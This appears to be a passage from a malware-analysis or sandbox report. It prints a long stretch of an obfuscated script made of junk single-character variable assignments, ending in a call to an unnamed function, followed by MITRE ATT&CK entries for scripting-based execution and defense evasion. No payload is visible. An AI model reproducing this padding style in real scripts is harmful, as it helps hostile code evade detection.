317	nryqcswsh = "M";
318	nryqcswsh = "C";
319	nryqcswsh = "S";
320	nryqcswsh = "K";
321	ttdabtegd = "N";
322	ttdabtegd = "j";
323	ttdabtegd = "A";
324	ttdabtegd = "Z";
325	ttdabtegd = "X";
326	ttdabtegd = "L";
327	ttdabtegd = "F";
328	ttdabtegd = "w";
329	ttdabtegd = "w";
330	ttdabtegd = "d";
331	ttdabtegd = "K";
332	ttdabtegd = "i";
333	ttdabtegd = "C";
334	ttdabtegd = "F";
335	ttdabtegd = "o";
336	ttdabtegd = "A";
337	ttdabtegd = "w";
338	ttdabtegd = "F";
339	ttdabtegd = "H";
340	ttdabtegd = "v";
341	ttdabtegd = "o";
342	ttdabtegd = "w";
343	ttdabtegd = "z";
344	ttdabtegd = "o";
345	ttdabtegd = "N";
346	ttdabtegd = "g";
347	ttdabtegd = "O";
348	ttdabtegd = "D";
349	ttdabtegd = "s";
350	ttdabtegd = "E";
351	ttdabtegd = "d";
352	ttdabtegd = "c";
353	ttdabtegd = "h";
354	ttdabtegd = "U";
355	hfscwvjuf = "a";
356	hfscwvjuf = "M";
357	hfscwvjuf = "i";
358	hfscwvjuf = "D";
359	hfscwvjuf = "n";
360	hfscwvjuf = "T";
361	hfscwvjuf = "h";
362	yneyizdm = "M";
363	yneyizdm = "m";
364	yneyizdm = "u";
365	yneyizdm = "Y";
366	yneyizdm = "y";
367	yneyizdm = "c";
368	yneyizdm = "B";
369	yneyizdm = "Q";
370	yneyizdm = "m";
371	yneyizdm = "u";
372	yneyizdm = "m";
373	yneyizdm = "A";
374	yneyizdm = "b";
375	yneyizdm = "u";
376	yneyizdm = "v";
377	yneyizdm = "l";
378	yneyizdm = "S";
379	yneyizdm = "a";
380	eevis = "F";
381	eevis = "B";
382	eevis = "W";
383	eevis = "k";
384	eevis = "M";
385	eevis = "A";
386	eevis = "D";
387	eevis = "U";
388	eevis = "c";
389	eevis = "I";
390	eevis = "K";
391	eevis = "H";
392	eevis = "F";
393	eevis = "F";
394	eevis = "m";
395	eevis = "J";
396	eevis = "z";
397	eevis = "T";
398	eevis = "e";
399	eevis = "q";
400	imzsb = "L";
401	imzsb = "I";
402	imzsb = "R";
403	imzsb = "W";
404	imzsb = "_";
405	wdluhu = "x";
406	wdluhu = "N";
407	wdluhu = "s";
408	wdluhu = "O";
409	wdluhu = "g";
410	wdluhu = "H";
411	wdluhu = "N";
412	wdluhu = "U";
413	wdluhu = "t";
414	wdluhu = "Z";
415	wdluhu = "M";
416	wdluhu = "t";
417	wdluhu = "k";
418	wdluhu = "x";
419	wdluhu = "f";
420	wdluhu = "Z";
421	wdluhu = "H";
422	wdluhu = "s";
423	wdluhu = "E";
424	wdluhu = "q";
425	wdluhu = "W";
426	wdluhu = "e";
427	wdluhu = "X";
428	wdluhu = "f";
429	wdluhu = "O";
430	duzehk = "r";
431	duzehk = "O";
432	duzehk = "R";
433	duzehk = "R";
434	oqowyoop = "m";
435	oqowyoop = "4";
436	bkaiiqyc = "t";
437	bkaiiqyc = "O";
438	bkaiiqyc = "J";
439	bkaiiqyc = "m";
440	bkaiiqyc = "V";
441	bkaiiqyc = "b";
442	bkaiiqyc = "h";
443	bkaiiqyc = "p";
444	bkaiiqyc = "D";
445	bkaiiqyc = "Q";
446	bkaiiqyc = "L";
447	bkaiiqyc = "l";
448	bkaiiqyc = "l";
449	bkaiiqyc = "i";
450	bkaiiqyc = "x";
451	bkaiiqyc = "L";
452	bkaiiqyc = "B";
453	bkaiiqyc = "D";
454	bkaiiqyc = "u";
455	bkaiiqyc = "x";
456	bkaiiqyc = "o";
457	bkaiiqyc = "r";
458	bkaiiqyc = "E";
459	bkaiiqyc = "J";
460	bkaiiqyc = "o";
461	bkaiiqyc = "W";
462	bkaiiqyc = "F";
463	bkaiiqyc = "T";
464	bkaiiqyc = "A";
465	bkaiiqyc = "I";
466	bkaiiqyc = "G";
467	bkaiiqyc = "t";
468	bkaiiqyc = "e";
469	bkaiiqyc = "A";
470	bkaiiqyc = "y";
471	bkaiiqyc = "K";
472	bkaiiqyc = "E";
473	bkaiiqyc = "z";
474	bkaiiqyc = "w";
475	bkaiiqyc = "m";
476	bkaiiqyc = "k";
477	bkaiiqyc = "a";
478	bkaiiqyc = "r";
479	bkaiiqyc = "\\";
480	tmiabnbqm = "z";
481	tmiabnbqm = "D";
482	tmiabnbqm = "e";
483	tmiabnbqm = "O";
484	tmiabnbqm = "j";
485	tmiabnbqm = "p";
486	tmiabnbqm = "6";
487	svixhkvt = "V";
488	svixhkvt = "m";
489	svixhkvt = "A";
490	svixhkvt = "y";
491	svixhkvt = "E";
492	svixhkvt = "t";
493	svixhkvt = "W";
494	svixhkvt = "A";
495	svixhkvt = "g";
496	svixhkvt = "q";
497	svixhkvt = "m";
498	svixhkvt = "A";
499	svixhkvt = "W";
500	svixhkvt = "x";
501	svixhkvt = "d";
502	svixhkvt = "y";
503	svixhkvt = "n";
504	svixhkvt = "Y";
505	svixhkvt = "G";
506	svixhkvt = "F";
507	svixhkvt = "z";
508	svixhkvt = "q";
509	svixhkvt = "L";
510	svixhkvt = "d";
511	svixhkvt = "W";
512	svixhkvt = "W";
513	svixhkvt = "N";
514	svixhkvt = "p";
515	svixhkvt = "r";
516	svixhkvt = "t";
517	svixhkvt = "N";
518	svixhkvt = "M";
519	svixhkvt = "U";
520	svixhkvt = "f";
521	svixhkvt = "X";
522	svixhkvt = "C";
523	svixhkvt = "A";
524	svixhkvt = "I";
525	svixhkvt = "C";
526	svixhkvt = "A";
527	svixhkvt = "-";
528	mxcewqq = "A";
529	mxcewqq = "M";
530	mxcewqq = "p";
531	mxcewqq = "x";
532	mxcewqq = "I";
533	mxcewqq = "H";
534	dliyw = "K";
535	dliyw = "h";
536	dliyw = "c";
537	dliyw = "r";
538	dliyw = "A";
539	dliyw = "K";
540	dliyw = "T";
541	dliyw = "W";
542	dliyw = "z";
543	dliyw = "q";
544	dliyw = "Z";
545	dliyw = "U";
546	dliyw = "e";
547	dliyw = "W";
548	dliyw = "l";
549	dliyw = "h";
550	dliyw = "Q";
551	dliyw = "g";
552	dliyw = "w";
553	dliyw = "d";
554	dliyw = "L";
555	dliyw = "C";
556	dliyw = "b";
557	dliyw = "H";
558	dliyw = "x";
559	dliyw = "Y";
560	dliyw = "W";
561	dliyw = "a";
562	dliyw = "f";
563	dliyw = "b";
564	dliyw = "b";
565	dliyw = "8";
566	stzhle = "S";
567	stzhle = "S";
568	stzhle = "W";
569	stzhle = "A";
570	stzhle = "y";
571	stzhle = "u";
572	stzhle = "X";
573	stzhle = "U";
574	stzhle = "u";
575	stzhle = "D";
576	stzhle = "N";
577	stzhle = "H";
578	stzhle = "L";
579	stzhle = "h";
580	stzhle = "P";
581	zbcwe = "N";
582	zbcwe = "U";
583	zbcwe = "y";
584	zbcwe = "Q";
585	zbcwe = "p";
586	mlhyrd = "n";
587	mlhyrd = "m";
588	mlhyrd = "T";
589	mlhyrd = "d";
590	mcsvzrgsu = "s";
591	mcsvzrgsu = "j";
592	mcsvzrgsu = "L";
593	mcsvzrgsu = "Q";
594	mcsvzrgsu = "r";
595	mcsvzrgsu = "x";
596	mcsvzrgsu = "p";
597	mcsvzrgsu = "c";
598	mcsvzrgsu = "Y";
599	mcsvzrgsu = "O";
600	mcsvzrgsu = "h";
601	mcsvzrgsu = "f";
602	mcsvzrgsu = "M";
603	mcsvzrgsu = "V";
604	mcsvzrgsu = "p";
605	mcsvzrgsu = "G";
606	mcsvzrgsu = "T";
607	mcsvzrgsu = "g";
608	mcsvzrgsu = "v";
609	mcsvzrgsu = "N";
610	mcsvzrgsu = "C";
611	mcsvzrgsu = "a";
612	mcsvzrgsu = "A";
613	mcsvzrgsu = "A";
614	mcsvzrgsu = "M";
615	mcsvzrgsu = "P";
616	mcsvzrgsu = "G";
617	mcsvzrgsu = "i";
618	mcsvzrgsu = "C";
619	suooyrvpu = "y";
620	suooyrvpu = "z";
621	suooyrvpu = "U";
622	suooyrvpu = "Z";
623	suooyrvpu = "m";
624	suooyrvpu = "h";
625	suooyrvpu = "z";
626	suooyrvpu = "O";
627	suooyrvpu = "K";
628	suooyrvpu = ".";
629	frmbj = "B";
630	frmbj = "t";
631	frmbj = "u";
632	frmbj = "k";
633	frmbj = "i";
634	frmbj = "B";
635	frmbj = "C";
636	frmbj = "i";
637	frmbj = "m";
638	frmbj = "t";
639	frmbj = "E";
640	frmbj = "f";
641	frmbj = "E";
642	frmbj = "Q";
643	frmbj = "O";
644	frmbj = "J";
645	frmbj = "H";
646	frmbj = "z";
647	frmbj = "M";
648	frmbj = "d";
649	frmbj = "q";
650	frmbj = "m";
651	frmbj = "1";
652	wdetfq = "P";
653	wdetfq = "n";
654	wdetfq = "l";
655	wdetfq = "m";
656	wdetfq = "p";
657	wdetfq = "S";
658	wdetfq = "t";
659	wdetfq = "u";
660	wdetfq = "D";
661	wdetfq = "H";
662	wdetfq = "S";
663	wdetfq = "H";
664	wdetfq = "Z";
665	wdetfq = "F";
666	wdetfq = "E";
667	wdetfq = "D";
668	wdetfq = "r";
669	wdetfq = "e";
670	wdetfq = "p";
671	wdetfq = "T";
672	wdetfq = "i";
673	wdetfq = "u";
674	wdetfq = "C";
675	wdetfq = "d";
676	wdetfq = "A";
677	wdetfq = "E";
678	wdetfq = "c";
679	wdetfq = "K";
680	wdetfq = "R";
681	wdetfq = "X";
682	wdetfq = "e";
683	wdetfq = "L";
684	wdetfq = "j";
685	wdetfq = "S";
686	wdetfq = "R";
687	wdetfq = "A";
688	wdetfq = "W";
689	wdetfq = "h";
690	wdetfq = "F";
691	cjngdqpe = "B";
692	cjngdqpe = "q";
693	cjngdqpe = "z";
694	cjngdqpe = "T";
695	cjngdqpe = "o";
696	cjngdqpe = "x";
697	cjngdqpe = "q";
698	cjngdqpe = "d";
699	cjngdqpe = "A";
700	cjngdqpe = "A";
701	cjngdqpe = "p";
702	cjngdqpe = "l";
703	cjngdqpe = "H";
704	cjngdqpe = "w";
705	cjngdqpe = "h";
706	cjngdqpe = "Z";
707	cjngdqpe = "Y";
708	cjngdqpe = "z";
709	cjngdqpe = "V";
710	cjngdqpe = "m";
711	cjngdqpe = "L";
712	kntqx = "R";
713	kntqx = "Q";
714	kntqx = "g";
715	kntqx = "C";
716	kntqx = "s";
717	kntqx = "A";
718	kntqx = "q";
719	kntqx = "D";
720	kntqx = "m";
721	kntqx = "D";
722	kntqx = "z";
723	kntqx = "m";
724	kntqx = "B";
725	kntqx = "D";
726	kntqx = "w";
727	kntqx = "k";
728	kntqx = "B";
729	kntqx = "b";
730	kntqx = "R";
731	kntqx = "K";
732	kntqx = "z";
733	kntqx = "W";
734	kntqx = "D";
735	kntqx = "U";
736	kntqx = "r";
737	kntqx = "L";
738	kntqx = "/";
739	bzqndhvy = "f";
740	bzqndhvy = "2";
741	mlebncubo = "c";
742	mlebncubo = "R";
743	mlebncubo = "e";
744	mlebncubo = "G";
745	mlebncubo = "r";
746	mlebncubo = "X";
747	mlebncubo = "s";
748	mlebncubo = "P";
749	mlebncubo = "F";
750	mlebncubo = "X";
751	mlebncubo = "S";
752	mlebncubo = "l";
753	mlebncubo = "w";
754	mlebncubo = "k";
755	mlebncubo = "O";
756	mlebncubo = "m";
757	mlebncubo = "A";
758	mlebncubo = "L";
759	mlebncubo = "H";
760	mlebncubo = "M";
761	mlebncubo = "C";
762	mlebncubo = "k";
763	mlebncubo = "j";
764	mlebncubo = "u";
765	mlebncubo = "t";
766	mlebncubo = "Y";
767	mlebncubo = "U";
768	mlebncubo = "z";
769	mlebncubo = "u";
770	mlebncubo = "a";
771	mlebncubo = "b";
772	mlebncubo = "M";
773	mlebncubo = "Q";
774	mlebncubo = "s";
775	mlebncubo = "z";
776	mlebncubo = "Q";
777	mlebncubo = "x";
778	mlebncubo = "Q";
779	mlebncubo = "g";
780	dxedghk = "u";
781	dxedghk = "E";
782	dxedghk = "Y";
783	dxedghk = "d";
784	dxedghk = "c";
785	dxedghk = "v";
786	dxedghk = "S";
787	dxedghk = "V";
788	dxedghk = "x";
789	dxedghk = "E";
790	dxedghk = "K";
791	dxedghk = "G";
792	dxedghk = "q";
793	dxedghk = "w";
794	dxedghk = "A";
795	dxedghk = "Q";
796	dxedghk = "O";
797	dxedghk = "K";
798	dxedghk = "q";
799	dxedghk = "j";
800	dxedghk = "P";
801	dxedghk = "R";
802	dxedghk = "o";
803	dxedghk = "q";
804	dxedghk = "G";
805	dxedghk = "j";
806	dxedghk = "E";
807	dxedghk = "b";
808	dxedghk = "t";
809	dxedghk = "H";
810	dxedghk = "y";
811	dxedghk = "S";
812	dxedghk = "W";
813	dxedghk = "u";
814	dxedghk = "s";
815	dxedghk = "u";
816	dxedghk = "r";
817	dxedghk = "i";
818	dxedghk = "I";
819	dxedghk = "M";
820	dxedghk = "s";
821	dxedghk = "I";
822	siqmkrq = "p";
823	siqmkrq = "c";
824	siqmkrq = "R";
825	siqmkrq = "q";
826	siqmkrq = "Z";
827	siqmkrq = "H";
828	siqmkrq = "l";
829	siqmkrq = "E";
830	siqmkrq = "d";
831	siqmkrq = "V";
832	siqmkrq = "f";
833	siqmkrq = "A";
834	siqmkrq = "Y";
835	siqmkrq = "t";
836	siqmkrq = "w";
837	siqmkrq = "G";
838	siqmkrq = "s";
839	siqmkrq = "c";
840	siqmkrq = "X";
841	siqmkrq = "n";
842	siqmkrq = "L";
843	siqmkrq = "F";
844	siqmkrq = "J";
845	siqmkrq = "J";
846	siqmkrq = "e";
847	siqmkrq = "c";
848	siqmkrq = "d";
849	siqmkrq = "u";
850	siqmkrq = "t";
851	siqmkrq = "e";
852	siqmkrq = "z";
853	siqmkrq = "V";
854	siqmkrq = "n";
855	siqmkrq = "N";
856	siqmkrq = "X";
857	siqmkrq = "%";
858	rccsauxzq = "E";
859	rccsauxzq = "G";
860	rccsauxzq = "X";
861	rccsauxzq = "L";
862	rccsauxzq = "y";
863	rccsauxzq = "v";
864	rccsauxzq = "r";
865	rccsauxzq = "K";
866	rccsauxzq = "Q";
867	rccsauxzq = "d";
868	rccsauxzq = "u";
869	rccsauxzq = "m";
870	rccsauxzq = "K";
871	rccsauxzq = "M";
872	rccsauxzq = "e";
873	rccsauxzq = "n";
874	rccsauxzq = "N";
875	rccsauxzq = "m";
876	rccsauxzq = "F";
877	rccsauxzq = "B";
878	rccsauxzq = "d";
879	rccsauxzq = "F";
880	rccsauxzq = "n";
881	rccsauxzq = "t";
882	rccsauxzq = "b";
883	rccsauxzq = "G";
884	rccsauxzq = "v";
885	rccsauxzq = "h";
886	rccsauxzq = "L";
887	rccsauxzq = "b";
888	rccsauxzq = "C";
889	rccsauxzq = "F";
890	rccsauxzq = "r";
891	aluir = "k";
892	aluir = "w";
893	aluir = "F";
894	aluir = "V";
895	aluir = "q";
896	aluir = "j";
897	aluir = "l";
898	aluir = "u";
899	aluir = "r";
900	aluir = "b";
901	aluir = "B";
902	aluir = "A";
903	aluir = "o";
904	aluir = "v";
905	aluir = "W";
906	aluir = "d";
907	aluir = "O";
908	aluir = "n";
909	aluir = "V";
910	aluir = "G";
911	aluir = "h";
912	aluir = "X";
913	aluir = "W";
914	aluir = "A";
915	aluir = "z";
916	aluir = "T";
917	aluir = "y";
918	aluir = "y";
919	aluir = "I";
920	aluir = "m";
921	aluir = "e";
922	xumogo = "V";
923	xumogo = "B";
924	xumogo = "w";
925	xumogo = "y";
926	xumogo = "h";
927	xumogo = "a";
928	xumogo = "V";
929	xumogo = "E";
930	xumogo = "h";
931	xumogo = "f";
932	xumogo = "m";
933	xumogo = "t";
934	xumogo = "V";
935	xumogo = "d";
936	xumogo = "q";
937	xumogo = "x";
938	xumogo = "X";
939	xumogo = "H";
940	xumogo = "u";
941	xumogo = "B";
942	xumogo = "i";
943	xumogo = "v";
944	xumogo = "B";
945	xumogo = "Q";
946	xumogo = "C";
947	xumogo = "z";
948	xumogo = "B";
949	xumogo = "y";
950	xumogo = "j";
951	xumogo = "h";
952	xumogo = "g";
953	xumogo = "v";
954	xumogo = "K";
955	xumogo = "Y";
956	xumogo = "a";
957	xumogo = "E";
958	dnmnozks = "m";
959	dnmnozks = "s";
960	dnmnozks = "v";
961	dnmnozks = "f";
962	dnmnozks = "q";
963	dnmnozks = "M";
964	dnmnozks = "R";
965	dnmnozks = "K";
966	dnmnozks = "J";
967	dnmnozks = "w";
968	dnmnozks = "K";
969	dnmnozks = "E";
970	dnmnozks = "U";
971	dnmnozks = "r";
972	dnmnozks = "r";
973	dnmnozks = "Q";
974	dnmnozks = "u";
975	dnmnozks = "Z";
976	dnmnozks = "t";
977	dnmnozks = "m";
978	dnmnozks = "v";
979	dnmnozks = "s";
980	dnmnozks = "Q";
981	dnmnozks = "B";
982	dnmnozks = "K";
983	dnmnozks = "s";
984	dnmnozks = "O";
985	dnmnozks = "e";
986	dnmnozks = "L";
987	dnmnozks = "W";
988	dnmnozks = "E";
989	dnmnozks = "E";
990	dnmnozks = "I";
991	dnmnozks = "e";
992	dnmnozks = "s";
993	dnmnozks = "X";
994	dnmnozks = "M";
995	dnmnozks = "f";
996	dnmnozks = "V";
997	dnmnozks = "J";
998	dnmnozks = "t";
999	bxucbjusg = "r";
1000	bxucbjusg = "A";
1001	bxucbjusg = "V";
1002	bxucbjusg = "L";
1003	bxucbjusg = "g";
1004	bxucbjusg = "H";
1005	bxucbjusg = "v";
1006	bxucbjusg = "z";
1007	bxucbjusg = "x";
1008	bxucbjusg = "k";
1009	bxucbjusg = "P";
1010	bxucbjusg = "c";
1011	bxucbjusg = "R";
1012	bxucbjusg = "g";
1013	bxucbjusg = "K";
1014	bxucbjusg = "C";
1015	bxucbjusg = "e";
1016	bxucbjusg = "t";
1017	bxucbjusg = "X";
1018	bxucbjusg = "i";
1019	bxucbjusg = "q";
1020	bxucbjusg = "I";
1021	bxucbjusg = "X";
1022	bxucbjusg = "K";
1023	bxucbjusg = "M";
1024	bxucbjusg = "h";
1025	bxucbjusg = "J";
1026	bxucbjusg = "B";
1027	bxucbjusg = "C";
1028	bxucbjusg = "C";
1029	bxucbjusg = "c";
1030	bxucbjusg = "k";
1031	bxucbjusg = "I";
1032	bxucbjusg = "p";
1033	bxucbjusg = "H";
1034	bxucbjusg = "O";
1035	bxucbjusg = "g";
1036	bxucbjusg = "f";
1037	bxucbjusg = "i";
1038	bxucbjusg = "k";
1039	bxucbjusg = "5";
1040	dudkbz = "u";
1041	dudkbz = "I";
1042	dudkbz = "W";
1043	dudkbz = "p";
1044	dudkbz = "h";
1045	dudkbz = "S";
1046	dudkbz = "t";
1047	dudkbz = "d";
1048	dudkbz = "o";
1049	dudkbz = "L";
1050	dudkbz = "f";
1051	dudkbz = "N";
1052	dudkbz = "t";
1053	dudkbz = "l";
1054	dudkbz = "Q";
1055	dudkbz = "c";
1056	dudkbz = "w";
1057	dudkbz = "r";
1058	dudkbz = "r";
1059	dudkbz = "y";
1060	dudkbz = "H";
1061	dudkbz = "Q";
1062	dudkbz = "h";
1063	dudkbz = "T";
1064	dudkbz = "q";
1065	dudkbz = "R";
1066	dudkbz = "X";
1067	dudkbz = "w";
1068	dudkbz = "y";
1069	dudkbz = "O";
1070	dudkbz = "h";
1071	dudkbz = "U";
1072	dudkbz = "D";
1073	dudkbz = "t";
1074	dudkbz = "s";
1075	dudkbz = "a";
1076	dudkbz = "N";
1077	bizaxit = "u";
1078	bizaxit = "C";
1079	bizaxit = "v";
1080	bizaxit = "i";
1081	bizaxit = "w";
1082	bizaxit = "F";
1083	bizaxit = "e";
1084	bizaxit = "D";
1085	bizaxit = "N";
1086	bizaxit = "X";
1087	bizaxit = "j";
1088	bizaxit = "I";
1089	bizaxit = "y";
1090	bizaxit = "V";
1091	bizaxit = "l";
1092	ucjrgdir = "E";
1093	ucjrgdir = "W";
1094	ucjrgdir = "u";
1095	ucjrgdir = "s";
1096	ucjrgdir = "P";
1097	ucjrgdir = "z";
1098	ucjrgdir = "t";
1099	ucjrgdir = "A";
1100	ucjrgdir = "m";
1101	ucjrgdir = "b";
1102	ucjrgdir = "g";
1103	ucjrgdir = "g";
1104	ucjrgdir = "N";
1105	ucjrgdir = "a";
1106	ucjrgdir = "M";
1107	ucjrgdir = "I";
1108	ucjrgdir = "E";
1109	ucjrgdir = "o";
1110	ucjrgdir = "@";
1111	lunxf = "c";
1112	lunxf = "H";
1113	lunxf = "z";
1114	lunxf = "d";
1115	lunxf = "R";
1116	lunxf = "s";
1117	kkvwgx = "l";
1118	kkvwgx = "i";
1119	kkvwgx = "E";
1120	kkvwgx = "d";
1121	kkvwgx = "h";
1122	kkvwgx = "M";
1123	kkvwgx = "e";
1124	kkvwgx = "i";
1125	kkvwgx = "q";
1126	kkvwgx = "a";
1127	kkvwgx = "y";
1128	kkvwgx = "Q";
1129	kkvwgx = "T";
1130	kkvwgx = "v";
1131	kkvwgx = "u";
1132	kkvwgx = "g";
1133	kkvwgx = "y";
1134	kkvwgx = "b";
1135	kkvwgx = "b";
1136	kkvwgx = "l";
1137	kkvwgx = "h";
1138	kkvwgx = "F";
1139	kkvwgx = "U";
1140	kkvwgx = "a";
1141	kkvwgx = "L";
1142	kkvwgx = "Z";
1143	kkvwgx = "g";
1144	kkvwgx = "I";
1145	kkvwgx = "g";
1146	kkvwgx = "C";
1147	kkvwgx = "m";
1148	kkvwgx = "Y";
1149	kkvwgx = "q";
1150	kkvwgx = "x";
1151	kkvwgx = "Y";
1152	mjxsfr = "X";
1153	mjxsfr = "I";
1154	mjxsfr = "S";
1155	mjxsfr = "g";
1156	mjxsfr = "k";
1157	mjxsfr = "Q";
1158	mjxsfr = "G";
1159	mjxsfr = "h";
1160	mjxsfr = "N";
1161	mjxsfr = "U";
1162	mjxsfr = "U";
1163	mjxsfr = "X";
1164	mjxsfr = "C";
1165	mjxsfr = "a";
1166	mjxsfr = "J";
1167	mjxsfr = "y";
1168	mjxsfr = "v";
1169	mjxsfr = "W";
1170	mjxsfr = "N";
1171	mjxsfr = "m";
1172	mjxsfr = "T";
1173	mjxsfr = "f";
1174	mjxsfr = "Y";
1175	mjxsfr = "a";
1176	mjxsfr = "v";
1177	mjxsfr = "g";
1178	mjxsfr = "i";
1179	mjxsfr = "p";
1180	mjxsfr = "u";
1181	mjxsfr = "H";
1182	mjxsfr = "D";
1183	mjxsfr = "D";
1184	mjxsfr = "r";
1185	mjxsfr = "W";
1186	mjxsfr = "W";
1187	mjxsfr = "F";
1188	mjxsfr = "F";
1189	mjxsfr = "M";
1190	mjxsfr = "J";
1191	mjxsfr = "q";
1192	mjxsfr = "M";
1193	mjxsfr = "k";
1194	mjxsfr = "0";
1195	tvamd = "J";
1196	tvamd = "T";
1197	tvamd = "Y";
1198	tvamd = "c";
1199	tvamd = "a";
1200	tvamd = "Y";
1201	tvamd = "p";
1202	tvamd = "Y";
1203	tvamd = "W";
1204	tvamd = "c";
1205	tvamd = "I";
1206	tvamd = "m";
1207	tvamd = "L";
1208	tvamd = "b";
1209	tvamd = "b";
1210	tvamd = "\"";
1211	yyzbwglbw = "C";
1212	yyzbwglbw = "G";
1213	yyzbwglbw = "p";
1214	yyzbwglbw = "l";
1215	yyzbwglbw = "y";
1216	yyzbwglbw = "g";
1217	yyzbwglbw = "k";
1218	yyzbwglbw = "v";
1219	yyzbwglbw = "d";
1220	yyzbwglbw = "q";
1221	yyzbwglbw = "k";
1222	sgypx = "j";
1223	sgypx = "n";
1224	sgypx = "Z";
1225	sgypx = "D";
1226	sgypx = "m";
1227	sgypx = "F";
1228	sgypx = "T";
1229	sgypx = "Z";
1230	sgypx = "z";
1231	sgypx = "z";
1232	sgypx = "h";
1233	sgypx = "d";
1234	sgypx = "O";
1235	sgypx = "d";
1236	sgypx = "I";
1237	sgypx = "e";
1238	sgypx = "3";
1239	fudkn = "b";
1240	fudkn = "l";
1241	fudkn = "Q";
1242	egnoyx = "f";
1243	egnoyx = "I";
1244	egnoyx = "S";
1245	egnoyx = "M";
1246	egnoyx = "K";
1247	egnoyx = "V";
1248	egnoyx = "a";
1249	egnoyx = "u";
1250	egnoyx = "g";
1251	egnoyx = "H";
1252	egnoyx = "w";
1253	egnoyx = "a";
1254	egnoyx = "s";
1255	egnoyx = "O";
1256	egnoyx = "k";
1257	egnoyx = "f";
1258	ugdyz = "I";
1259	ugdyz = "S";
1260	ugdyz = "b";
1261	ugdyz = "y";
1262	ugdyz = "a";
1263	ugdyz = "z";
1264	ugdyz = "J";
1265	ugdyz = "s";
1266	ugdyz = "g";
1267	ugdyz = "p";
1268	ugdyz = "e";
1269	ugdyz = "U";
1270	ugdyz = "T";
1271	ugdyz = "H";
1272	ugdyz = "a";
1273	ugdyz = "Q";
1274	ugdyz = "r";
1275	ugdyz = "M";
1276	ugdyz = "k";
1277	ugdyz = "s";
1278	ugdyz = "c";
1279	ugdyz = "c";
1280	ugdyz = "U";
1281	ugdyz = "W";
1282	ugdyz = "B";
1283	ugdyz = "N";
1284	ugdyz = "l";
1285	ugdyz = "E";
1286	ugdyz = "U";
1287	ugdyz = "L";
1288	ugdyz = "T";
1289	ugdyz = "O";
1290	ugdyz = "c";
1291	igenst = "R";
1292	igenst = "E";
1293	igenst = "B";
1294	igenst = "a";
1295	igenst = "s";
1296	igenst = "Q";
1297	igenst = "X";
1298	igenst = "E";
1299	igenst = "u";
1300	igenst = "T";
1301	igenst = "Q";
1302	igenst = "e";
1303	igenst = "K";
1304	igenst = "V";
1305	igenst = "H";
1306	igenst = "L";
1307	igenst = "S";
1308	igenst = "P";
1309	igenst = "T";
1310	igenst = "E";
1311	igenst = "i";
1312	igenst = "k";
1313	igenst = "L";
1314	igenst = "w";
1315	igenst = "P";
1316	igenst = "t";
1317	igenst = "h";
1318	igenst = "r";
1319	igenst = "V";
1320	igenst = "o";
1321	igenst = "o";
1322	igenst = "x";
1323	igenst = "Z";
1324	igenst = "s";
1325	igenst = "G";
1326	igenst = "O";
1327	igenst = "g";
1328	igenst = "n";
1329	igenst = "q";
1330	igenst = "j";
1331	igenst = ":";
1332	djmmftw = "H";
1333	djmmftw = "v";
1334	djmmftw = "G";
1335	djmmftw = "l";
1336	djmmftw = "X";
1337	djmmftw = "V";
1338	djmmftw = "Y";
1339	djmmftw = "U";
1340	djmmftw = "r";
1341	djmmftw = "W";
1342	djmmftw = "G";
1343	djmmftw = "J";
1344	djmmftw = "s";
1345	djmmftw = "b";
1346	djmmftw = "n";
1347	djmmftw = "A";
1348	djmmftw = "S";
1349	djmmftw = "n";
1350	djmmftw = "f";
1351	djmmftw = "T";
1352	djmmftw = "r";
1353	djmmftw = "w";
1354	djmmftw = "q";
1355	djmmftw = "j";
1356	djmmftw = "D";
1357	djmmftw = "Z";
1358	djmmftw = "v";
1359	djmmftw = "D";
1360	djmmftw = "Q";
1361	djmmftw = "V";
1362	djmmftw = "j";
1363	djmmftw = "P";
1364	djmmftw = "n";
1365	djmmftw = "e";
1366	djmmftw = "S";
1367	yoekvpjmk = "C";
1368	yoekvpjmk = "q";
1369	yoekvpjmk = "T";
1370	yoekvpjmk = "Z";
1371	yoekvpjmk = "H";
1372	yoekvpjmk = "i";
1373	yoekvpjmk = "i";
1374	yoekvpjmk = "N";
1375	yoekvpjmk = "B";
1376	yoekvpjmk = "N";
1377	yoekvpjmk = "a";
1378	yoekvpjmk = "C";
1379	yoekvpjmk = "D";
1380	yoekvpjmk = "k";
1381	yoekvpjmk = "P";
1382	yoekvpjmk = "G";
1383	yoekvpjmk = "q";
1384	yoekvpjmk = "n";
1385	oyhgjkkb = "b";
1386	oyhgjkkb = "j";
1387	oyhgjkkb = "j";
1388	oyhgjkkb = "d";
1389	oyhgjkkb = "H";
1390	oyhgjkkb = "L";
1391	oyhgjkkb = "N";
1392	oyhgjkkb = "v";
1393	oyhgjkkb = "p";
1394	oyhgjkkb = "J";
1395	oyhgjkkb = "L";
1396	oyhgjkkb = "F";
1397	oyhgjkkb = "b";
1398	cckscrng = "l";
1399	cckscrng = "h";
1400	cckscrng = "j";
1401	cckscrng = "P";
1402	cckscrng = "J";
1403	cckscrng = "c";
1404	cckscrng = "h";
1405	cckscrng = "o";
1406	cckscrng = "N";
1407	cckscrng = "o";
1408	cckscrng = "m";
1409	cckscrng = "p";
1410	cckscrng = "y";
1411	cckscrng = "w";
1412	cckscrng = "y";
1413	cckscrng = "D";
1414	cckscrng = "L";
1415	cckscrng = "Z";
1416	cckscrng = "o";
1417	cckscrng = "V";
1418	cckscrng = "9";
1419	ueclln = "a";
1420	ueclln = "l";
1421	ueclln = "l";
1422	ueclln = "P";
1423	ueclln = "x";
1424	ueclln = "y";
1425	ueclln = "C";
1426	ueclln = "b";
1427	ueclln = "R";
1428	ueclln = "H";
1429	ueclln = "x";
1430	ueclln = "L";
1431	ueclln = "l";
1432	ueclln = "l";
1433	ueclln = "m";
1434	ueclln = "D";
1435	ueclln = "X";
1436	ueclln = "y";
1437	ueclln = "m";
1438	ueclln = "r";
1439	ueclln = "d";
1440	ueclln = " ";
1441	tujtpzcn ( );	tujtpzcn() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
